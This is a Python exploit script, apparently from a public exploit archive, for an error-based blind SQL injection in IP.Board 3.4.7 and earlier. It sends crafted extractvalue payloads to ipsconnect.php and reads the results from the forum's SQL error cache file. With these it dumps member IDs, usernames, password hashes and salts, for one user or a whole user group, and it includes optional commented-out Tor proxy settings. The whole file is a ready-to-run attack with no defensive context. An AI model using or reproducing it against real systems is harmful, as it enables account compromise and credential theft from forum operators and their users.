#!/usr/bin/env python
# Sunday, November 09, 2014 - secthrowaway () safe-mail net
# IP.Board <= 3.4.7 SQLi (blind, error based);
# you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable

import sys, re, urllib2, urllib, signal

# <socks> - http://sourceforge.net/projects/socksipy/
#import socks, socket
#socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
#socket.socket = socks.socksocket
# </socks>

url = sys.argv[1]
user = sys.argv[2] # Either usergroup id or username
ugroup = False

ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"

def inject(sql):
    try:
        urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.php' % url, data="act=login&idType=id&id[]=-1&id[]=%s" % urllib.quote('-1) and 1!="\'" and extractvalue(1,concat(0x3a,(%s)))#\'' % sql), headers={"User-agent": ua}))
    except urllib2.HTTPError, e:
        if e.code == 503:
            data = urllib2.urlopen(urllib2.Request('%scache/sql_error_latest.cgi' % url, headers={"User-agent": ua})).read()
            txt = re.search("XPATH syntax error: ':(.*)'", data, re.MULTILINE)
            if txt is not None:
                return txt.group(1)
            sys.exit('Error [3], received unexpected data:\n%s' % data)
        sys.exit('Error [1]')
    if ugroup:
        sys.exit('Out of users!')
    else:
        sys.exit('Error [2]')

def signal_handler(signal, frame):
        sys.exit('\nExiting...')

def get(name, table, num, p):
    if p.isdigit():
        p = int(p)
        sqli = 'SELECT %s FROM %s WHERE member_group_id = %d LIMIT %d,1' % (name, table, p, num)
    else:
        sqli = 'SELECT %s FROM %s WHERE name = "%s"' % (name, table, p)

    s = int(inject('LENGTH((%s))' % sqli))
    if s < 31:
        return inject(sqli)
    else:
        r = ''
        for i in range(1, s+1, 31):
            r += inject('SUBSTRING((%s), %i, %i)' % (sqli, i, 31))
        return r

if __name__ == "__main__":
    signal.signal(signal.SIGINT, signal_handler)
    if user.isdigit():
        i = 0
        ugroup = True
        while True:
            print "Userid: " + inject('SELECT member_id FROM members WHERE member_group_id = ' + user + ' LIMIT ' + str(i) + ',1')
            print "Username: " + inject('SELECT name FROM members WHERE member_group_id = ' + user + ' LIMIT ' + str(i) + ',1')
            print "Password hash: " + get('members_pass_hash', 'members', i, user)
            print "Password salt: " + inject('SELECT members_pass_salt FROM members WHERE member_group_id = ' + user + ' LIMIT ' + str(i) + ',1')
            print "--------------------------------"
            i += 1
    else:
        userid = inject('SELECT member_id FROM members WHERE name = "' + user + '"')
        print "Userid: " + userid
        print "Username: " + inject('SELECT name FROM members WHERE name = "' + user + '"')
        print "Password hash: " + get('members_pass_hash', 'members', 0, user)
        print "Password salt: " + inject('SELECT members_pass_salt FROM members WHERE name = "' + user + '"')